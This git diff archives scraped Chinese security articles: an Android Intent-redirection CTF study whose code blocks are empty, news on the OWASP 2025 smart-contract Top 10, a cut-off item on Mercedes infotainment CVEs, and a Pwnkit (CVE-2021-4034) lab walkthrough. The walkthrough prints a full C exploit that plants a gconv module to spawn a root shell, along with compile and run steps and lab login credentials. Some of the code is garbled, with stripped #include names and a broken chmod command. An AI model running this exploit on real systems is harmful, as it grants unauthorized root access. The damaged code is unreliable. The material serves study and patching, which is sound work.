diff --git a/data.json b/data.json index cbcb68ab..a0c65bea 100644 --- a/data.json +++ b/data.json @@ -3444,5 +3444,10 @@ "https://mp.weixin.qq.com/s?__biz=MzkzMDg1MzIwNA==&mid=2247487295&idx=1&sn=1d68a219fec3a01ea84c598bf48811fe": "【burpsuite靶场-服务端3】目录遍历漏洞", "https://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=2655264930&idx=1&sn=0a275a5bf702dc56d6a9f833e7aeacdf": "数字取证之数据分析‌", "https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650607379&idx=2&sn=1a33bc4a7ac127d883ebe4a69affe12b": "新的“双击劫持”漏洞绕过主要网站上的点击劫持保护", - "https://mp.weixin.qq.com/s?__biz=Mzg4NDg3NjE5MQ==&mid=2247485618&idx=1&sn=83cfbd2aab32a9e8073abb2cd983f27d": "Log4j CVE-2017-5645反序列化漏洞" + "https://mp.weixin.qq.com/s?__biz=Mzg4NDg3NjE5MQ==&mid=2247485618&idx=1&sn=83cfbd2aab32a9e8073abb2cd983f27d": "Log4j CVE-2017-5645反序列化漏洞", + "https://mp.weixin.qq.com/s?__biz=MzkyMDY5OTg5OA==&mid=2247493360&idx=1&sn=ac3879690699a5af38b6a86f1cf232a2": "Pwnkit:CVE-2021-4034", + "https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651313321&idx=1&sn=0d6cfa7efe94cdf992cd2dcb49139048": "时间强盗漏洞:ChatGPT绕过敏感话题安全防护", + "https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651313321&idx=3&sn=2d401e6e743d4029238b04acea892e1b": "OWASP发布2025十大智能合约安全漏洞", + "https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651313321&idx=4&sn=87670a1665432dda01a0ca651d6f847a": "卡巴斯基公布奔驰汽车十几个漏洞", + "https://mp.weixin.qq.com/s?__biz=MjM5MjEyMTcyMQ==&mid=2651037464&idx=1&sn=439f05b2a2f5523c148d07a794aff60a": "Android Intent 重定向漏洞分析总结" } \ No newline at end of file diff --git a/doc/Android Intent 重定向漏洞分析总结.md b/doc/Android Intent 重定向漏洞分析总结.md new file mode 100644 index 00000000..6b793c2c --- /dev/null +++ b/doc/Android Intent 重定向漏洞分析总结.md @@ -0,0 +1,224 @@ +# Android Intent 重定向漏洞分析总结 +NEURON SAINTSEC 2025-02-01 02:02 + +‍ + +‍![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnRBAROkop6B2zOjRibPOSzpbDmiaT8r2hsTTCjAP6fYbmN09lZqJVk69yHzPVupa2E5dJ5rZgblg8pg/640?wx_fmt=png "") + + + +前段时间发现2021ByteCTF的几个Android题,和APP漏洞相关的,对此很感兴趣,所以做了一些学习总结。 + + +![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnRBAROkop6B2zOjRibPOSzpbDmiaT8r2hsTTCjAP6fYbmN09lZqJVk69yHzPVupa2E5dJ5rZgblg8pg/640?wx_fmt=png "") + + + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWepoYDmNTEC8QO2xDT001YNW0eKNtV8y9lb0PqkphqjDf8icbNJzw06DuUas5OR8z7xo/640?wx_fmt=svg "") + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWeplibVFyhQcBHibTdX7ONIjz2uTQb7VB4TIIPTTYrCXyfJ0NB44hN6wFV5iaJGibsBjgNG/640?wx_fmt=svg "") + +intent 介绍 + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWepHyn3W1Mk9icK4Pr8fCoS9bL0sMHruyvj99EjUe5EFh2ibT0ZFBVQAHK6UOSu3TiaxjH/640?wx_fmt=svg "") + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWepRfMy6YVhqveVE7LBjiaV9KgfiaiaWhIRrpX71q6RC64dj4MtMhZ4tbTqQwKuVTsLVsQ/640?wx_fmt=svg "") + + + +Intent(意图)主要是解决 + +Android + + + +应用的各项组件之间的 + +通讯 + + + +。例如: +``` +``` + +Intent负责对应用中一次操作的动作、动作涉及的数据、附加数据进行描述,Android则根据此Intent的描述,负责找到对应的组件,将 Intent传递给被调用的组件,并完成组件的调用。 + +Intent对象中可以包括这些信息: + +1. 组件名称(Component): 指定Intent的的目标组件的类名称。 + +2. 动作(Action): 将要执行的动作 + +3. 种类(Category): 被执行动作的附加信息 + +4. data (数据) : 表示执行动作要操纵的数据。 + +5. type (数据类型) : 显式指定Intent的数据类型(MIME)。 + +6. extras (扩展信息) : 是其它所有扩展信息的集合。 + +7. Flags (标志位) : 期望这个意图的运行模式。 + +Intent的两种调用方式: +- 显示调用 + +对于明确指出了目标组件名称的Intent,我们称之为显式Intent。 + +``` +``` + + +我们写代码来理解一下,可以发现使用了setComponent,putExtra等来添加Intent对象中的信息: +``` +``` + + +当点击跳转后,页面进行跳转,并且数据传输成功。 + +![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnRBAROkop6B2zOjRibPOSzpboFeeW5hmLw8H3bttkp22t57CasCIGVEpGAeUfepRQib6CBLHcbsiciccQ/640?wx_fmt=png "") +- 隐式调用 + +对于没有明确指出目标组件名称的Intent,则称之为隐式Intent。 + +隐式调用需要通过Intent Filter来匹配对应的组件。 +``` +``` + +点击跳转按钮,达到和上图同样的效果,这就是显示调用和隐式调用。 + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWepoYDmNTEC8QO2xDT001YNW0eKNtV8y9lb0PqkphqjDf8icbNJzw06DuUas5OR8z7xo/640?wx_fmt=svg "") + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWeplibVFyhQcBHibTdX7ONIjz2uTQb7VB4TIIPTTYrCXyfJ0NB44hN6wFV5iaJGibsBjgNG/640?wx_fmt=svg "") + +intent 重定向 + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWepHyn3W1Mk9icK4Pr8fCoS9bL0sMHruyvj99EjUe5EFh2ibT0ZFBVQAHK6UOSu3TiaxjH/640?wx_fmt=svg "") + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWepRfMy6YVhqveVE7LBjiaV9KgfiaiaWhIRrpX71q6RC64dj4MtMhZ4tbTqQwKuVTsLVsQ/640?wx_fmt=svg "") + + + + +        简单介绍了Intent之后,我们来了解一下什么是重定向,其实它就是一个双层嵌套,根据下图理解,攻击Apk使用startActivity(intent1)进入受害apk的Activity1,Activity1中会接收一个intent(称intent2,这个intent2指向攻击Apk中的Activity2)类型的数据,对这个intent2使用startActivity(intent2),这样最终就进入了Activity2。 + +![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnRBAROkop6B2zOjRibPOSzpbR2F8SoibcMyTmlouJaglr2jgwdS8GrFlygPvjzehTDqIjdrSic2UKiaibQ/640?wx_fmt=png "") + +接下来我们编写代码来进行实际演示,这里注意Activity1和Activity2都是导出的,也就是exported="true",否则会失败。 + +攻击APK关键代码: +``` +``` + +受害APK关键代码: +``` +``` + +整个过程如下图,实际看到的是,点击按钮后直接跳转到”重定向成功“界面,但中间会有一个空白界面就是我们的Activity1: + +![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnRBAROkop6B2zOjRibPOSzpbDGsWZf6Wwm14QIwqCfyFjduQQ8nnShFxrohyRhFWnUWo7SxjU7HQFg/640?wx_fmt=png "") + + + + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWepoYDmNTEC8QO2xDT001YNW0eKNtV8y9lb0PqkphqjDf8icbNJzw06DuUas5OR8z7xo/640?wx_fmt=svg "") + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWeplibVFyhQcBHibTdX7ONIjz2uTQb7VB4TIIPTTYrCXyfJ0NB44hN6wFV5iaJGibsBjgNG/640?wx_fmt=svg "") + +ByteCTF 2021-babydroid + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWepHyn3W1Mk9icK4Pr8fCoS9bL0sMHruyvj99EjUe5EFh2ibT0ZFBVQAHK6UOSu3TiaxjH/640?wx_fmt=svg "") + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWepRfMy6YVhqveVE7LBjiaV9KgfiaiaWhIRrpX71q6RC64dj4MtMhZ4tbTqQwKuVTsLVsQ/640?wx_fmt=svg "") + + + +        本文是根据ByteCTF 2021的Android题来进行学习,在之前我们了解了Intent重定向,但是这往往需要和其他利用条件结合,也要保证要攻击的Activity是导出的,而这个题就可以帮助我们巩固知识。 +## 分析APK + +JEB反编译,查看AndroidManifest.xml文件,发现Vulnerable是可导出的,可能漏洞点就在这里。 + +![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnRBAROkop6B2zOjRibPOSzpb3dkiapo7ugiayKUeicLBpBybFzQGSnSdPIHibWm7X5114eYl9JZGWN8Obw/640?wx_fmt=png "") + +        MainActivity是空的,没什么用,FlagReciver是一个广播接收器,经分析是设置flag的,将接收的flag写入文件,这应该和做题的人关系不大。 + +![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnRBAROkop6B2zOjRibPOSzpbmF0I5PLOZa6PcoPdibuWJ36BDr2vRJzVOs9CcYFjIHKiazVVrvP07HKA/640?wx_fmt=png "") + +        但是这里有一点要注意,getFilesDir()是哪个目录呢,这里可以自己写代码进行验证,给一个参考图,来自: +https://bbs.pediy.com/thread-271122.htm + +![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnRBAROkop6B2zOjRibPOSzpbUINLnqrjq8Wk42eKzb8gT3nnCsUh8fbJFT9tMpZtCPn8Ms8uvvadcA/640?wx_fmt=png "") + +        所以这里flag文件存储的目录是/data/data/com.bytectf.babydroid/files/flag。 + +再查看Vulnerable类, + +![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnRBAROkop6B2zOjRibPOSzpb4Clib0bibrj1VqJicicAw3ctaF8YOjFm2SbUbuZcmCGykrwNCBW9XK8Zrg/640?wx_fmt=png "") + +        这个类导出,而且接收一个Intent数据,所以我们可以利用Intent重定向漏洞。 + +        那我们该怎么利用Intent重定向漏洞读取flag文件呢? + +## FileProvider + + + Android 7开始不允许以 file:// 的方式通过 Intent 在两个 App 之间分享文件,而是通过 FileProvider 生成 content://Uri 。如果在 Android 7以上的版本继续使用 file:// 的方式分享文件,则系统会直接抛出异常。 + + + FileProvider 是一个特殊的 ContentProvider 子类,如果使用包含 Content URI 的 Intent 共享文件时,需要申请临时的读写权限,这可以通过 Intent.setFlags() 方法实现。 + + +我们在AndroidManifest.xml中也看到了FileProvider, +``` +``` + + +文件配置完成后还需要生成可以被其他 App 访问的 Content URI,可以直接调用 FileProvider 提供的 getUriForFile(File file) 方法,,传入文件名称就可以得到相应的 Content URI。 + + + 假如我们要获取flag文件,但是我们也不确定Content URI是多少,我们编写代码来得到结果,看看Content URI生成的格式: +``` +``` + + +这样我们就得到了我们攻击时应该使用的Content URI格式。 +## 攻击 + + +了解了前面的知识,我们该做最后一步,对apk实施攻击获取flag。我们使用Intent重定向将Content Uri在受害Apk中进行解析获取flag文件的数据,在攻击APK中接收flag,完成攻击。 + +首先使用命令发送广播,创建flag文件: +``` +``` + +然后编写攻击代码: +``` +``` + +攻击结果: + +![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnRBAROkop6B2zOjRibPOSzpbEo480CCQfoIRGFY88OSTcMzpB2BltXDYUBPibQLZnoGFxKLe8rI0tSw/640?wx_fmt=png "") + + + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWepoYDmNTEC8QO2xDT001YNW0eKNtV8y9lb0PqkphqjDf8icbNJzw06DuUas5OR8z7xo/640?wx_fmt=svg "") + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWeplibVFyhQcBHibTdX7ONIjz2uTQb7VB4TIIPTTYrCXyfJ0NB44hN6wFV5iaJGibsBjgNG/640?wx_fmt=svg "") + +总结 + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWepHyn3W1Mk9icK4Pr8fCoS9bL0sMHruyvj99EjUe5EFh2ibT0ZFBVQAHK6UOSu3TiaxjH/640?wx_fmt=svg "") + +![](https://mmbiz.qpic.cn/mmbiz_svg/8h9QXaJ70ibe4kYbwic4qdx33ovyricFWepRfMy6YVhqveVE7LBjiaV9KgfiaiaWhIRrpX71q6RC64dj4MtMhZ4tbTqQwKuVTsLVsQ/640?wx_fmt=svg "") + + + + +这个APK出现漏洞主要是因为Vulnerable类导出,虽然FileProvider是不导出的,但是通过Intent重定向可以在受害APK内部去使用FileProvider,因此达成了利用条件。一直以来,我主要是做APK逆向,而对于APK的漏洞确了解的很少,而且也很难有漏洞去复现学习,还是很感谢ByteCTF的出题师傅,之后应该也会对其他题目进行复现学习,再和大家分享学习。 + + + +‍ + +‍ + diff --git a/doc/OWASP发布2025十大智能合约安全漏洞.md b/doc/OWASP发布2025十大智能合约安全漏洞.md new file mode 100644 index 00000000..2094e711 --- /dev/null +++ b/doc/OWASP发布2025十大智能合约安全漏洞.md @@ -0,0 +1,129 @@ +# OWASP发布2025十大智能合约安全漏洞 +跳舞的花栗鼠 FreeBuf 2025-02-01 04:02 + +![](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR38jUokdlWSNlAjmEsO1rzv3srXShFRuTKBGDwkj4gvYy34iajd6zQiaKl77Wsy9mjC0xBCRg0YgDIWg/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR3icnU7Ne7Md6I3ObAZDzic73ArfL0omXuem7vRquyhib9TjiabvdGdgGPrMyhviaiawHtbaaWLRiaM1REvqw/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR3icnU7Ne7Md6I3ObAZDzic73Ao9iaxhvO9wkB7AeaoyFpegZokFO1zL82SmrxZXE2nT9iberLooHsDK6w/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_svg/0pygn8iaZdEcZsJlG7e2pHtyZsNlXFXZyWxhQ2icRXHLywjmChTRoDZlSX0ib6YtTOQedabfx04RMMyvzkwmicKs1UxxyPK7CY4W/640?wx_fmt=svg&from=appmsg "") + +左右滑动查看更多 + +![](https://mmbiz.qpic.cn/mmbiz_svg/0pygn8iaZdEcZsJlG7e2pHtyZsNlXFXZyWxhQ2icRXHLywjmChTRoDZlSX0ib6YtTOQedabfx04RMMyvzkwmicKs1UxxyPK7CY4W/640?wx_fmt=svg&from=appmsg "") + + + +随着去中心化金融(DeFi)和区块链技术的不断发展,智能合约安全的重要性愈发凸显。在此背景下,开放网络应用安全项目(OWASP)发布了备受期待的《2025年智能合约十大漏洞》报告。 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR3icnU7Ne7Md6I3ObAZDzic73ATBrZogYibRuYTibL3A3sg8PRTQ9vCbBNibwyicy8FHLpJzg2nDPqwPcRrA/640?wx_fmt=jpeg&from=appmsg "") + + +这份最新报告反映了不断演变的攻击向量,深入剖析了近年来的常见漏洞及缓解策略。旨在提升Web3开发者和安全团队的安全意识,为开发者、审计人员和安全专业人士提供宝贵的资源,以应对智能合约中最关键的安全漏洞。它还与其他OWASP项目,如《智能合约安全验证标准》(SCSVS)、《智能合约安全测试指南》(SCSTG)相互补充,为区块链生态系统的安全提供了全面的方法。 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR3icnU7Ne7Md6I3ObAZDzic73ANibCL6BS01LJC8qzlrvXbUIiaWVRrhLo4sxbxeNTzWjUrH7aibZWS5H3A/640?wx_fmt=jpeg&from=appmsg "") +## + +**2023年至2025年的主要变化** + + +## 2025年版榜单根据真实事件和新兴趋势更新了排名,并提供了新的见解。显著的变化包括新增了“价格预言机操纵”和“闪电贷攻击”两个独立类别,反映了这些漏洞在DeFi攻击中的日益普遍。 + + +与此同时,早期版本中较为突出的“时间戳依赖”、“Gas 限制问题”等漏洞已被替换或整合到更广泛的类别中,如“逻辑错误”。 + + +**2025年OWASP十大漏洞详解** + + + +**SC01:访问控制漏洞** + +访问控制漏洞仍然是智能合约中导致财务损失的主要原因,仅2024年就造成了9.532亿美元的损失。这些漏洞通常是由于权限检查未正确实施而产生的,以致未经授权的用户可以访问或修改关键功能或数据。一个典型案例是88mph的“函数初始化漏洞”,攻击者利用该漏洞重新初始化合约并获得管理员权限。 +### +### SC02:价格预言机操纵 + +操纵价格预言机(智能合约使用的外部数据源) +可能会破坏协议的稳定性,导致财务损失或系统性故障。攻击者通常利用设计不良的预言机机制暂时抬高或压低资产价格。 +### +### SC03:逻辑错误 + +业务逻辑漏洞通常发生在合约未能正确执行其预期功能时。这些错误可能导致代币铸造错误、借贷协议缺陷或奖励分配错误。 +### +### SC04:输入验证缺失 + +未能验证用户输入可能使攻击者能够向智能合约注入恶意数据,导致意外行为或破坏合约逻辑。 +### +### SC05:重入攻击 + +重入攻击利用合约在完成自身状态更新之前调用外部函数的能力。这一经典漏洞在 2016 年的 DAO 攻击中被利用,导致价值 7000 万美元的以太坊被盗。 +### +### SC06:未检查的外部调用 + +当智能合约未能验证外部调用的成功时,可能会基于错误的交易结果假设继续执行,从而导致不一致或被恶意行为者利用。 +### +### SC07:闪电贷攻击 + +闪电贷允许用户在一个交易中无抵押借款,但可能被利用来操纵市场或耗尽流动性池。 +### +### SC08:整数溢出和下溢 + +当计算超出数据类型限制时,可能会发生算术错误,使攻击者能够操纵余额或绕过限制。 +### +### SC09:不安全的随机性 + +区块链的确定性特性使得生成安全的随机性具有挑战性。可预测的随机性可能会破坏依赖随机结果的功能,如抽奖或代币分配。 +### +### SC10:拒绝服务(DoS)攻击 + +DoS攻击针对智能合约中资源密集型功能,通过耗尽Gas限制或计算资源使其无法响应。 +## + +**对现实世界的影响** + + +## OWASP 智能合约Top 10的编制基于《加密货币损失报告》等资源中记录的真实事件。仅2024年,就有149起事件被记录在案,造成了超过14.2亿美元的损失,其中访问控制漏洞(9.53亿美元)、逻辑错误(6300万美元)和重入攻击(3500万美元)是主要原因。这些数据凸显了在区块链开发中加强安全实践的紧迫性。 + + +随着区块链技术的成熟,攻击者利用其漏洞的方法也在不断演变,这也强调了Web3项目增强自身抵御潜在漏洞能力的重要性。 + + +【 +FreeBuf粉丝交流群招新啦! + +在这里,拓宽网安边界 + +甲方安全建设干货; + +乙方最新技术理念; + +全球最新的网络安全资讯; + +群内不定期开启各种抽奖活动; + +FreeBuf盲盒、大象公仔...... + +扫码添加小蜜蜂微信回复「加群」,申请加入群聊】 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR3ich6ibqlfxbwaJlDyErKpzvETedBHPS9tGHfSKMCEZcuGq1U1mylY7pCEvJD9w60pWp7NzDjmM2BlQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&retryload=2&tp=webp "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/qq5rfBadR3ic5icaZr7IGkVcd3DT6vXW4B4LOZ1M7YkTPhS1AT2DQJaicFjtCxt5BRO7p5AOJqvH3EJABCd0BFqYQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +  + + + + + + +[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651312407&idx=1&sn=60289b6b056aee1df1685230aa453829&token=1964067027&lang=zh_CN&scene=21#wechat_redirect) + +![](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR3icF8RMnJbsqatMibR6OicVrUDaz0fyxNtBDpPlLfibJZILzHQcwaKkb4ia57xAShIJfQ54HjOG1oPXBew/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + + diff --git a/doc/Pwnkit:CVE-2021-4034.md b/doc/Pwnkit:CVE-2021-4034.md new file mode 100644 index 00000000..e1dc28a0 --- /dev/null +++ b/doc/Pwnkit:CVE-2021-4034.md @@ -0,0 +1,111 @@ +# Pwnkit:CVE-2021-4034 +原创 t3y ZeroPointZero安全团队 2025-02-01 04:13 + +# Pwnkit:CVE-2021-4034 + +**CVE-2021-4034** +(俗称“Pwnkit”)是一个可怕的本地权限提升(LPE)漏洞,位于几乎所有主要Linux操作系统发行版(以及 Linux 操作系统)上默认安装的“Polkit”软件包中。许多其他 *nix 操作系统)。换句话说,它几乎影响了地球上每一个主流Linux系统。 +## 概述 + +CVE-2021-4034(又名“pwnkit”)由 +Qualys +的研究人员发现,并于 2022 年 1 月公布;可以 +在此处 +找到此漏洞的技术安全建议。自 2009 年首次发布以来,该漏洞存在于“Policy Toolkit”(或 Polkit)软件包的每个版本中,并且允许任何非特权攻击者轻松获得对任何安装了 Polkit 软件包的Linux计算机的完全管理访问权限。不幸的是,大多数Linux发行版上都默认安装了 Polkit,这使得该漏洞极其普遍。 Polkit 的易于利用性和普遍性使其成为绝对毁灭性的漏洞;然而,幸运的是它无法被远程利用,这使得 Pwnkit 纯粹是一个本地权限升级(LPE)漏洞。 +## 什么是Polkit? + +在我们直接查看该漏洞之前,先了解一下 Polkit 到底是什么。 + +Polkit 是 Linux 授权系统的一部分。实际上,当您尝试执行需要更高级别权限的操作时,Polkit 可用于确定您是否拥有必要的权限。它与 systemd 集成,并且比传统的 sudo 系统更具可配置性。 +事实上,它有时被称为“systemd 的 sudo”,提供了一个用于向用户分配权限的细粒度系统。 + +当与 polkit 交互时,我们可以使用pkexec +实用程序 - 正是该程序包含Pwnkit漏洞。作为使用该实用程序的示例,尝试在GUI会话中通过pkexec +运行useradd +命令会导致弹出窗口询问凭据: pkexec useradd test1234 + +在CLI会话中,我们会收到基于文本的提示: +``` +muiri@demo-vm:~$ pkexec useradd test1234==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===Authentication is needed to run '/usr/sbin/useradd' as the super userAuthenticating as: muiri,,, (muiri)    Password: +``` + +总而言之,策略工具包可以被视为您可能已经熟悉的更简单的 sudo 系统的细粒度替代方案。 +## 漏洞 + +如前所述,Pwnkit 漏洞存在于pkexec +实用程序(Polkit 系统的主要前端)中。为了可读性,我们不会在这里讨论太多细节;但是,我们鼓励您仔细阅读 +Qualys 安全公告 +,以获取有关该漏洞的完整技术说明。 + +简而言之:补丁之前发布的 pkexec 版本不能安全地处理命令行参数,这会导致“越界写入”漏洞,从而允许攻击者操纵 pkexec 运行的环境。 +这就是您真正需要了解的全部内容,但要获得稍微更技术性的解释,请继续阅读! + +更具体地说, pkexec 尝试解析我们使用 for 循环传递给它的任何命令行参数,从索引 1 开始偏移程序名称并获取第一个实参(例如,如果我们输入 pkexec bash +,则由于pkexec +是程序的名称,因此它将是参数0—实际的命令行参数从索引1开始)。程序的名称与参数解析无关,因此索引只是偏移以忽略它。 + +那么,如果我们不提供任何论据,会发生什么?索引永久设置为1! 以下伪代码可以帮助您形象化这一点: +``` +for(n=1; n < number_of_arguments; n++){      //Do Stuff    } +``` + +如果参数数量为0,则n +永远不会小于参数数量。因此,n +保持等于1,并且循环被完全绕过。 + +当 pkexec尝试写入索引n +处的参数值时,这会成为一个问题。由于没有命令行参数,因此索引n +处没有参数,相反程序会覆盖内存中的下一个值,当使用C调用程序时,它恰好是环境变量列表中的第一个值函数称为execve() +。换句话说,通过向 pkexec 传递一个空参数列表,我们可以强制它覆盖环境变量! + +对于上下文:当您尝试运行设置了 +SUID 位 +的程序时,操作系统会删除某些“危险”环境变量(如 pkexec 所必需的那样);这是为了防止攻击者能够在程序以管理权限运行时劫持该程序。使用越界写入,我们可以通过欺骗 pkexec 为我们添加这些危险环境变量来重新引入我们选择的这些危险环境变量。有多种不同的方法可以滥用它,所有这些都会导致以 root 用户身份执行代码。 + +遗憾的是,利用 Pwnkit 非常容易。 网上有很多可用的漏洞利用程序,编写自己的版本并不是特别困难。 + +我们将使用的版本是由 arthepsy 用 C 语言编写的,并在 Qualys 安全公告公开后不久发布。可以 +在此处 +找到该存储库。该漏洞利用的这种变体利用危险的GCONV_PATH +变量来包含恶意共享对象文件,该文件以 root + 权限调用/bin/sh shell +。 + +首先,我们必须连接到目标机器。如果您使用浏览器内连接,那么您已经可以使用屏幕右侧的终端通过浏览器进行访问。 + +如果您不使用浏览器内连接,则可以使用SSH和以下凭据进行连接: +- 用户名: tryhackme + +- 密码: TryHackMe123! + +连接后,我们需要导航到预先添加的pwnkit/子目录,然后使用以下命令编译漏洞利用: gcc cve-2021-4034-poc.c -o exploit + +然后我们可以使用./exploit +运行漏洞利用程序以获得对目标的即时 root 访问权限! + +cve-2021-4034-poc.c +``` +#include #include #include char *shell =         "#include \n"        "#include \n"        "#include \n\n"        "void gconv() {}\n"        "void gconv_init() {\n"        "       setuid(0); setgid(0);\n"        "       seteuid(0); setegid(0);\n"        "       system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/bash\");\n"        "       exit(0);\n"        "}";int main(int argc, char *argv[]) {        FILE *fp;        // 创建目录并确保权限        system("mkdir -p pwnkit; touch pwnkit/pwnkit.c");                // 编写恶意C代码        fp = fopen("pwnkit/pwnkit.c", "w");        fprintf(fp, "%s", shell);        fclose(fp);                // 编译恶意模块        system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");        // 创建gconv模块目录,并写入模块信息        system("mkdir -p pwnkit/gconv-modules.d");        system("echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules.d/pwnkit");        // 确保路径权限设置正确        system("chmod -R a+x pwnkit");        // 设置环境变量,并执行pkexec        char *env[] = {            "GCONV_PATH=./pwnkit",  // 设置gconv模块的路径            "CHARSET=PWNKIT",       // 设置字符集            "SHELL=/bin/bash",      // 设置默认shell            NULL        };        // 使用pkexec执行并传递恶意模块        execve("/usr/bin/pkexec", (char*[]){NULL}, env);        return 0;} +``` +## 补救措施 + +既然我们已经看到了CVE -2021-4034 的破坏性影响,那么我们如何防范它呢? + +幸运的是,开发人员在为关键漏洞开发补丁时往往速度相当快。举一个典型的例子:在撰写本文时,Canonical 已经在APT包管理器中为所有尚未终止生命的 Ubuntu 版本发布了 Polkit 包的修补版本。修补版本可以通过简单的 apt 升级来安装 - 例如 sudo apt update && sudo apt upgrade  +。 + +在尚未发布该软件包的修补版本的发行版中,建议的修补程序是简单地从 pkexec 二进制文件中删除 SUID 位。这可以通过如下命令来完成: +``` +sudo chmod 0755which pkexec +``` + +然而,这远非理想,它只是一个临时解决方案,直到更多发行版开始打包针对 Pwnkit 进行修补的 polkit 版本。 + +需要注意的是,Pwnkit 漏洞利用有多种变体,使用不同的环境变量并以不同的方式利用漏洞。其中一些会留下痕迹和日志,另一些则不会。 + +您可以通过尝试针对系统运行漏洞利用副本来检查以确保系统已修补。如果漏洞利用返回pkexec +帮助菜单,则系统已修补: +``` +tryhackme@pwnkit$ ./exploit    pkexec --version |           --help |           --disable-internal-agent |           [--user username] PROGRAM [ARGUMENTS...]        See the pkexec manual page for more details. +``` + diff --git a/doc/卡巴斯基公布奔驰汽车十几个漏洞.md b/doc/卡巴斯基公布奔驰汽车十几个漏洞.md new file mode 100644 index 00000000..1e1763a6 --- /dev/null +++ b/doc/卡巴斯基公布奔驰汽车十几个漏洞.md @@ -0,0 +1,93 @@ +# 卡巴斯基公布奔驰汽车十几个漏洞 +跳舞的花栗鼠 FreeBuf 2025-02-01 04:02 + +![](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR38jUokdlWSNlAjmEsO1rzv3srXShFRuTKBGDwkj4gvYy34iajd6zQiaKl77Wsy9mjC0xBCRg0YgDIWg/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + +> 卡巴斯基披露了在梅赛德斯—奔驰信息娱乐系统中发现的十多个漏洞的细节,但这家汽车制造商向客户保证,这些安全漏洞已经得到修复,且不易被利用。 + + + +**** +![](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR3icnU7Ne7Md6I3ObAZDzic73A2MuP3RLO3ias3gHWtr4SR8WgXk5zTzZwCPUzscNoaM8rVxnaSt0VcpQ/640?wx_fmt=jpeg&from=appmsg "") + + +上周,俄罗斯网络安全公司卡巴斯基发布了一篇博客文章( +梅赛德斯-奔驰主机安全研究报告 +),深入分析了梅赛德斯—奔驰用户体验(MBUX)系统。此次研究主要针对第一代MBUX系统,卡巴斯基详细描述了它的研究发现,并针对每个漏洞发布了安全公告。 + + +**漏洞列表** + +****- CVE-2024-37602 + +- CVE-2024-37600 + +- CVE-2024-37603 + +- CVE-2024-37601 + +- CVE-2023-34406 + +- CVE-2023-34397 + +- CVE-2023-34398 + +- CVE-2023-34399 + +- CVE-2023-34400 + +- CVE-2023-34401 + +- CVE-2023-34402 + +- CVE-2023-34403 + +- CVE-2023-34404 + 